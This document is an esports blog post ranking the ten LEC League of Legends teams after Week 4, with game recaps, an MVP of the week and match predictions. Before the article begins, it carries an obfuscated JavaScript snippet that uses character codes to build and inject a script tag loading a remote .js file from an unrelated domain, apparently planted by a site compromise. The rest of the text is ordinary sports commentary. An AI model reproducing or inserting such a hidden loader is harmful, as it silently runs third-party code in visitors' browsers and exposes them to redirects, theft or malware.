Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); LEC Week 4: The Race for Second

While Week 4 proved us right on some things (We’re looking at you, HeaQ), other teams such as Origen surprised. At this point, we see the LEC as a race for second place, as G2 seems to be miles ahead of everyone else and unwilling to give up that first place. As always, we hope you enjoy the read, and if you have any comments or suggestions, please let us know!

1: G2 Esports (8-0)

Change from Previous Week’s Standing: 0 (From 1st)

It should come as no surprise that G2 remains at the top of our standings. It appears that G2 was actually trying in their games this week, in which they confirmed Vitality is nowhere near their level, and slaughtered Fnatic in a dominant, one-sided victory.

Before this week, we expected their match into Vitality to be the closest yet for G2, and boy did G2 prove us wrong. While Perkz did die once again in laning phase (which seems to be this team’s only weakness), the match was pretty even until the mid-game, with neither team having an impactful gold lead. However, each team trading blows let Caps and Jankos accrue tons of gold, and by 20 minutes, G2 was ahead enough to steamroll teamfights, as they have done again and again. 23 minutes into the game, G2 fought Vitality for an Infernal Drake, getting the dragon, a perfect ace, and finally a Baron, netting them a quick 8500 gold lead. At this point, G2 opted to their usual strategy of trampling their opponents, taking the enemy Nexus in the process.

Against Fnatic, G2’s any% run against Fnatic went just as they hoped, achieving the fastest game time in European history. G2 drafted a strong top and bot lane and were remarkable in their early game execution. 5 minutes into the game, they were 2000 gold ahead; by 10 minutes, they were up 4000 gold, and by 15 minutes, 8000. And while G2 players were caught out a few times, they immediately reacted with kills of their own, never allowing Fnatic to come back in the game.

It remains clear as ever that G2 is on a different level than the rest of the teams in the LEC, and as of now, it seems no one is going to take them down.

Fun facts: Every G2 member currently has the highest damage per minute in their respective role. Moreover, Caps and Perkz had the same DPM in Week 4 (566), while Jankos had 1 less (565), and Wunder 8 less (558).

2: Schalke 04 (6-2)

Change from Previous Week’s Standing: 0 (From 2nd)

Schalke had a decent showing this week, convincingly beating Misfits but getting dismantled by Origen.

Their game against Misfits was standard by Schalke’s play-book, drafting strong lanes that aim to scale through the mid-game. Schalke understood that Misfits win through smashing bot, so they drafted a counter bot lane with Ezreal and Blitzcrank. By shutting down bot, Misfits were unable to gain much of a lead, and Schalke’s superior draft and vision control eventually snowballed their lead into a victory.

Surprisingly, Schalke opted to change their strategy against Origen, farming for the first 10 minutes and allowing Origen to make the first move. In the 11th minute, both Upset and Abbedagge got caught out in different places and gave over map control to Origen. As a result, Schalke had to give over key map objectives to Origen, which allowed their opponents to snowball the game. Moreover, Schalke didn’t do anything to stop that snowball, opting for a ‘do absolutely nothing and see what happens’ strategy, which they then learned is a leading cause of losing. Ignar was caught out 24 minutes into the game, letting Origen take an uncontested Baron. They then fought a 5v4 fight in their base and lost, and ended the game with only 2 kills and 2 turrets on the board. We do commend them for trying to see whether or not they could play the game with blindfolds on, even though the outcome was a resounding “no.”

Schalke’s week was strange. They smashed Misfits on day one and lost to the same style of play to origen on day two. It seems clear that whatever they did in the game against Origen did not work, and should revert to their old winning ways in these upcoming weeks if they want to avoid dropping in the standings.

3: Splyce (5-3)

Change from Previous Week’s Standing: +2 (From 5th)

Averaging the longest game time in the LEC, Splyce went 2-0 in Week 4 of the LEC. The team has seemingly found a winning strategy which, although not meta, has been netting them wins.

In their game against SK, Splyce uncharacteristically established a lead in the bot lane, repeatedly grabbing picks with Norskeren’s Pyke. They followed by continuing to skirmish with their opponents, which led to a near 8-minute stalemate. This failure to create any plays allowed SK to take the game back through taking Baron and Splyce’s mid inhibitor. For most teams, the game would be an expected loss, but Splyce’s ability to stall out games is unparalleled. Come 35 minutes into the game, Splyce took a Baron of their own, creating their own lead, but could not finish the game until they won a fight 10 whole minutes later. This game was far from clean by Splyce, but the team has continued to prove that they’re able stretch games out and win them when they go late.

Their game against Misfits contained similar themes: Splyce created an early lead, but did not translate it into anything meaningful. They then got outpaced and gave over a lead to their opponent, and regained they footing near the 30-minute mark in the game. Again, they did not accomplish much until 44 minutes into the game, where they grab a pick onto Soaz, and then run into the Misfits base and win a teamfight, and then the game.

These two games played by Splyce were fairly similar and weren’t the most impressive, but showed that Splyce have a clear gameplan, and it’s one that get’s them wins.

Splyce is sliding into our spot for 3rd this week as they’ve consistently proven how difficult it is to snowball against them, and the rise of late game carries next patch should only add to their current strengths.

4: Vitality (6-2)

Change from Previous Week’s Standing: -1 (From 3rd)

Vitality had a weak showing this week, losing to G2 and winning in an unconvincing manner against Excel.

Vitality was picked apart in their game against G2, losing in 27 minutes with a 13,700 gold deficit. The game can be summarized in two words: Ban Karthus. On a serious note, all their lanes lost early in the game and as a result, G2 rolled them over and finished the game before they could retaliate.

Vitality’s victory against Excel, a bottom tier team, was unconvincing, with Vitality falling behind in the early game and only equalizing the gold 25 minutes into the game. In fact, Vitality, a team hailed for their aggressive playstyle, only managed to secure 3 kills in these first 25 minutes. While the gold deficit at this point wasn’t very impactful, it should never have been given up to a team like Excel. A teamfight did finally happen 29 minutes into the game, which Vitality predictably won. This allowed them to open Excel’s base, secure the Baron and force the win. But all things considered, Vitality didn’t win because they are a good team—they won because Excel is a bad one.

Vitality’s week 4 was underwhelming and showed left much to be desired. Their strong solo lanes went even or straight up lost, and as a result, Vitality falls in our rankings. If Vitality has another showing like this in Week 5, expect them to fall even further in the rankings. Perhaps it’s time for Yamato to whip out his Gucci belt.

5: Origen (4-4)

Change from Previous Week’s Standing: +2 (From 7th)

After an underwhelming start to the season, Origen has evidently fixed many of their major issues, winning both their games, slaughtering the 2nd-place team in the process.

Their game against Rogue didn’t provide much of a challenge for the team. Origen drafted strong lanes and played a steady early game until Alphari solo killed Profit in the top lane. This seemed to be the go signal for the team, as they quickly moved towards the rift herald to try and take over the game. In this play, they lost the Herald, but secured a very important kill onto Patrik’s Draven, surging the gold lead in their favor. From there, Origen took control of the vision in the game and sought to make picks in the jungle. Every time they got a pick, they secured a different objective, resulting in a tower and dragon lead before they finally secured Baron 22 minutes in the game. From there, the game was in their hands, and by taking a second baron 7 minutes later, they were able to run into Rogue’s base and finish the game.

The true feat of this past weekend was taking down Schalke. The early lane phase had been uneventful until Patrik and Mithy got first blood on the out of position Upset. From there it was clear Mithy’s NA jetlag had worn off. With early mobility boots, he roamed mid, got his team a kill, then roamed top and got his team another. While Mithy went to make plays, Kold and Nukeduck made some of their own, netting 4 kills on the Yasuo 18 minutes in. To Deficio’s delight, the team then played a clean 1-3-1 until a pick in the top side jungle let Origen take a 24-minute Baron. By 29 minutes, Origen had taken most of Schalke’s base, and even went for a 4v5, which they won before winning the game.

This week Origen really showed that they’re looking to compete in the LEC, and by the end of the split, they may find themselves as a top 3 team in the league.

6: Misfits (4-4)

Change from Previous Week’s Standing: -2 (From 4th)

Misfits fell even more after a disappointing 0-2 week against Schalke 04 and Splyce. The former super-team has seemingly been figured out, with their strategy of ‘smash bot and win’ faltering once other teams began to shift their focus towards shutting down Hans Sama and Gorilla as early as possible.

Their game against Schalke was the epitome of this fact, with Schalke immediately banning Draven and Kai’Sa, two lane-dominant ADs that Hans Sama has found success on. Following that, Schalke drafted a very oppressive bot lane of Ezreal and Blitzcrank which constantly forced Hans and Gorilla to play defensively rather than going for plays. That, paired with Misfits drafting a weak lane of Varus and Tahm Kench, made it impossible for the Misfits’ bottom lane to create any early leads, forcing them to relocate their jungle pressure mid. Unfortunately, Febiven’s Lissandra being ahead did not spell the end of the world, and Misfits were dismantled by Schalke as soon as Schalke’s team-fighting composition began to come online.

Their draft against Splyce did go better, with Misfits drafting strong lanes across the board, but the game did not go any better than their last. Splyce’s Xerxe was constantly on the bottom side of the map, thwarting any attempted ganks by Maxlore’s Zac, not allowing the Misfits’ bot to secure a single kill until the 17th minute. Even with the lack of advantages for bot, Febiven and Soaz were able to catch out their opponents in the 24th minute, creating a teamfight that led into an Ace and Baron for Misfits. Unfortunately, a horribly coordinated teamfight from Misfits cost them their lead 31 minutes into the game, allowing Splyce to break open the Misfits’ base. This led to a 10-minute stalemate, which was ended when Gorilla and Soaz were caught out of position by Splyce, allowing Splyce to break into the Misfits base and take down their Nexus.

At this moment, Misfits seem to have no working game plan, with their bot-focused strategy being easily exploitable. It seems that Misfits is still attempting to make that work, with strange plays coming out from Maxlore in order to facilitate that, such as forcing a Rift Herald play bot when 3 players of the enemy team were there. If they’re to improve, they should look to adjusting their game plan to include putting Febiven on carries on which he has had some great showings in the past. Misfits losses has been a general lack of coordination and positioning, something that we were praising Misfits for just two weeks ago.

In their last 5 games, they’ve gone 1-4, only winning against Fnatic while being convincingly beaten by upper-tier teams such as Splyce and Schalke.

With all of this being said, Misfits could very well bounce back in this upcoming week with Patch 9.3 buffing traditional Crit-marksmen, which could allow Hans to carry even harder.

7: Fnatic (2-6)

Change from Previous Week’s Standing: +2 (From 9th)

It is a painstaking challenge having to write about Fnatic in their current form. The team has seemingly been doing the same thing for four weeks—sucking. In 8 games, Fnatic has played similarly tragic games in which they do nothing and hope the enemy team loses the game enough for them to win. Their clear lack of cohesion only adds to their list of problems.

In their game into Excel, they actually seemed to have a good idea. They drafted strong laners and an aggressive jungler, and took a gold lead mostly by taking down turret plates in all three lanes. By 15 minutes, Fnatic understood that they had an advantage, and roamed the map taking turrets. By then, Excel grew too scared to engage with Fnatic, allowing them to take Baron, inhibitors, and their nexus, without engaging in an actual teamfight.

Their game against G2 was disrespectful, with Fnatic opting for the ‘no winning lanes’ strategy yet again, and slaughtered in the fastest European pro game to date. There’s nothing more to say about the game; for every move that Fnatic made, G2 made three in response, and that quickly made the game fall out of Fnatic’s control.

Every week, we hope to see a resurgence from Fnatic, but it seems the team will not be finding their form anytime soon, and will likely skip out on playoffs for the first time in the organization’s history.

8: Excel (2-6)

Change from Previous Week’s Standing: -2 (From 6th)

Excel is a bit of an enigma. While they can match the pace of many of the top teams, they seem to be unable to actually overtake a team, likely due to lack of experience. In short, Excel does not yet know how to properly close out games.

Excel did lose both their games this week, going somewhat even with Vitality for much of the game but losing in a macro-centric game against Fnatic.

Against Vitality, Excel held a small lead for much of the early and mid game, evenly trading throughout the early parts of the game. But as the game began to progress past the 20-minute mark, that lack of experience began to bite at Excel, allowing Vitality to sneak a Baron and later translate that Baron gold into winning teamfights. As a result, Excel quickly became starved for gold and was wiped by their opponents, losing the game.

Their game against Fnatic was unusual. With only four kills in the entirety of the game, Excel was out-maneuvered by Fnatic, failing to secure objectives as well as any kills in the duration of the game. Their lack of proactivity really showed, and Fnatic was able to easily overcome Excel.

Overall, Excel seems to be able to play a somewhat competitive game, but their inconsistency and inexperience have been on display throughout this split. In Week 4, Excel had some abysmally low damage numbers, with only 767 DPM as a team, the lowest by over 400 of any team.

If Excel does want a shot at rising in the standings again, they should look to improving their decisiveness in plays, as they seemed scared throughout this week, and by practicing playing proactively.

9: SK (3-5)

Change from Previous Week’s Standing: -1 (From 8th)

SK falls even further in the standings after an uninspiring 1-1 week against Splyce and Rogue.

In their game against Splyce, Selfmade attempted to save his team from falling further and further behind as the game went on, but ultimately underestimated his teammate’s lack of skill. SK was down 1200 gold 5 minutes into the game, with their gold deficit extending to 3000 by 20 minutes. Surprisingly, SK was able to punish Splyce overextending in mid in the 25th minute, with the play being orchestrated by Selfmade’s Xin, securing SK 2 kills and allowing them to reset and secure a Baron. Unsurprisingly though, Werlyb was caught out in the midst of doing the Baro, allowing Splyce to pick him off shortly after SK secured the Baron. SK did secure an inhibitor with the Baron buff but ultimately failed to equalize the gold, and after playing stalemate with Splyce for 10 minutes, SK as engaged upon and consequently lost that teamfight, allowing Splyce to pick up the Baron. Somehow, SK managed to hold off during that time and even managed to secure to the next Baron, but was wiped immediately after by Splyce (Who were 5000 gold up), losing the game.

While they did beat Rogue, it would be disastrous if they managed to lose against the team that has thus far shown nothing. The team went in classic SK fashion, with Selfmade acting as a catalyst for nearly every play they made.

As in previous weeks, Selfmade is the only player on this roster to stand out, delivering superb performances on Xin Zhao against Splyce, and Gragas against Rogue. He’s responsible for nearly all of SK’s positive plays, keeping his teammates from falling too far behind. This week, Selfmade participated in 100% of his team’s kills, a feat seldom accomplished in professional play. In many ways, Selfmade is how we as players see ourselves in solo queue games: Every game is 1v9 and the enemy team is much better than his own, making winning near impossible.

The fact that SK just fired their Head Coach Sheepy isn’t a promising sign as the team finished the first half of spring. With their coaching staff in shambles, it’s unclear what kind of SK will show up going into Week 5, and an even weaker showing is possible yet.

10: Rogue (0-8)

Change from Previous Week’s Standing: 0 (From 10th)

It’s truly unfortunate having to write why a team is at the bottom of the league every week, and honestly, they’d probably be at least a playoff contender in North America. But in a league flooded with skilled players and not much talent of their own, they find themselves without a win by the end of week 4.

In their Origen game, it seems they flopped across the board: Profit was solo killed top lane, Kikis failed to make an early move with Kha’Zix, Sencux stayed mid all game, and HeaQ hasn’t been benched yet. As they lacked any reasonable win condition 20 minutes passed, Rogue was pushed away from all objectives, and held off Origen for only 31 minutes before their nexus went down.

In their second game, Rogue had managed not to fall behind for 12 whole, minutes, until a rift herald play lost them first blood and two turrets (including first turret). From then, Rogue and SK skirmished with one another, going back and forth as Rogue’s ability to team fight evened the game out. Unfortunately, they were unable to properly secure any meaningful objective. They let SK take 2 infernal dragons, and made no real attempt at Baron, only dissuading their opponents for taking it for themselves.  At this point, the game was even, until, at 30 minutes, HeaQ was caught in the mid lane without summoners, losing his life, and leading to the loss of Kikis, Wadid, and the Baron buff. From there, Rogue took a final stand in the bot lane, but was outpowered by the SK roster.

Although there seems to be little hope for this team, Rogue is not going to fall without fighting. As announced just recently, Rogue will be starting their secondary team’s top and support players, Finn and Vander, in week 5 of the LEC. This change may not be enough to find success this late into the split, but who knows? Maybe, as an all European team, Rogue will find the cohesion that they’ve been lacking and they can snag their first win in the LEC.

MVP of the Week: EU Mithy

It seems that EU Mithy has finally made a return to pro-play, taking over the map and constantly creating picks for his team. Unlike his NA alter ego, EU Mithy did not consistently die in lane, get caught out, or make random mechanical misplays. In fact, he did the complete opposite. Mithy engaged almost every pick or teamfight for his team this week, which helped Origen secure a clean 2-0 week, including a dominating victory against the second place team, Schalke. This past week, Mithy held an 18.0 KDA (1st) and averaged an experience lead of 546 by 15 (1st, +220 higher than 2nd).

If Mithy continues to perform, he may be able to restore his legacy yet as one of the best European supports.

Predictions for Week

Prediction Tracker: 23 of 30 Correct

Friday, February 15th (End of first half of the split)

Match 1: Fnatic vs. Splyce

Predicted Winner: Splyce

This game may be closer than most people think. Fnatic has been notorious at drafting full scaling team compositions and mainly losing before they can get there. Splyce, on the other hand, has been extending games until the late game where they are seemingly the most comfortable, and taking the game there. In the standings, these teams could not be much further from one another, but stylistically, this matchup may be the most even for both sides. If Fnatic is allowed the scale, they may be able to surprise and take this game, but most likely, Splyce will win somewhere around 40 minutes in the game.

Match 2: Origen vs. Excel

Predicted Winner: Origen

These performances of these teams in week 4 were night and day. Origen secured a 2-0 week by taking down a bottom team and smashing top team. In contrast, Excel lost to a bottom team and meddled in a loss to a top team. If both these teams continue in this direction, Origen should handily take this game.

Match 3: Vitality vs. SK Gaming

Predicted Winner: Vitality

To put plainly, until the rest of the SK Gaming roster decides to play League of Legends with Selfmade, it’s unlikely for them to snag a game from a top tier team. Vitality should have an advantage in all three lanes, and Mowgli is a strong jungler himself. This huge disparity in strength between the two rosters should be enough for Vitality to win this game.

Match 4: Rogue vs. Schalke

Predicted Winner: Schalke

One of these teams has shown consistent improvement, standout performances from their rookie and veteran players, and the ability to play a good macro game. The opposing team has HeaQ.

In all seriousness, Rogue is looking to shake things up, and subbing out their imports is definitely a welcomed change for the team, but I don’t expect it to be enough to take down the 2nd best team in the league. If they had made these changes last week, they may have a win on the board, but I think they’re going to have to wait a bit longer before they finally achieve their first victory.

Match 5: Misfits vs. G2

Predicted Winner: G2

This game has the potential to be the best of the week, but Misfits’ inconsistent week to week make it hard to pick them as the favorites against the powerhouse that is G2. The big changes in 9.3 may result in an influx of traditional crit marksman on which Hans Sama has had years of experience more than Perkz. Misfits being able to translate this into anything consequential is unlikely, but not out of the realm of possibility.

Saturday, February 16th

Note: This marks the beginning of the second half of the split.

Match 1: SK vs. Fnatic

Predicted Winner: Fnatic

The first game between these two teams went in the favor of SK Gaming on the back of some crazy Sejuani ultimates from Selfmade. He isolated Rekkles over and over, allowing his team to easily take every fight.

Up until now, neither of these teams have shown much development since their week one performances, and the game could easily go to either of them. If Fnatic continues drafting to lose and Selfmade is allowed to create a large enough early advantage, I fully expect SK to win. If Youngbuck remembers how to draft, which is far more likely, the game should lean in favor of Fnatic.

Match 2: Splyce vs. Excel

Predicted Winner: Splyce

Excel has the ability to take this game. They can easily match Splyce in the early to mid game, and a fight going in their favor in the late game isn’t out of this world. The main issue is that Excel has not shown any proficiency in closing games, while Splyce has shown their ability to take wins off of any team. Therefore, Splyce should have no trouble winning this game, but Excel may find themselves another win against a top team.

Match 3: Schalke vs Vitality (Match of the Week)

Predicted Winner: Schalke

Since facing off in week one, Schalke and Vitality have both continued to develop each week, coming in with new and refined strategies. Schalke plays a controlled game by dominating through vision control and properly set up teamfights; Vitality plays a far more explosive style where they win in lane and fight until their lead is too far to overcome.

The top lane matchup features two titans in the top who have both proven to be versatile players with the ability to carry or fill a role for their team. Depending on who shows up, either player has the ability to pop off and win the game through the top lane.

The jungle is far less exciting, with both players performing well, but not standing out in comparison to their teammates. I expect both Mowgli and Memento to try and grab kills for their bot lane, in hopes to snowball their carry players.

The mid lane is probably going to be the most exciting matchup. Schalke’s Abbedagge has been proving he’s deserving of the title of “EU mid,” playing a huge role in his team’s success. In terms of stats, he’s first in cs/m (9.3) and second in gold/min, but his laning numbers haven’t been the highest. Unfortunately for him, he’s facing off against the Italian Stallion, Jizuke.

The Vitality mid laner has had a stellar first half of the LEC, holding the highest cs differential at 15 while also dealing the 2nd highest damage per minute of any mid laner. In the last year, Jizuke has proven to be one of the top mid laners in Europe and he isn’t looking for some rookie to stop him in his tracks.

The biggest disparity in these teams most likely comes from the bot lane. Upset and Ignar are arguably the best duo in the region, as they often find themselves huge advantages in lane and crushing most team fights. Atilla and Jactroll are strong players in their own right as they seldom lose lane and perform pretty well in fights too. The main difference is the size of these leads. Upset and Ignar often find themselves up thousands of gold pretty early in the game, while Atilla and Jactroll are up a couple hundred. These bot lanes are both good, but Vitality will have to hold Schalke’s bottom lane down if they’re planning on taking this game.

For me, I predict that Schalke will win this game by creating a difference in the bot lane that is too much for the Vitality roster to overcome.

Match 4: Misfits vs. Rogue

Predicted Winner: Misfits

Misfits have shown to be inconsistent while Rogue has shown to be nonexistent. With this difference, even an underperforming Misfits should be enough to handily take down the winless team.

Match 5: G2 vs. Origen

Predicted Winner: G2

Predicting G2 games is unfair. Origen is looking to be a strong team and just came off of a 2-0 week, but expecting them to do enough to beat G2 is outlandish. G2 are on a separate tier from Origen, and probably won’t have to try too hard to take down their opponent.

We hope you enjoyed this fourth installment of LEC power-rankings. If you have any comments, questions, or complaints, please feel free to ask them in the Comments section below.

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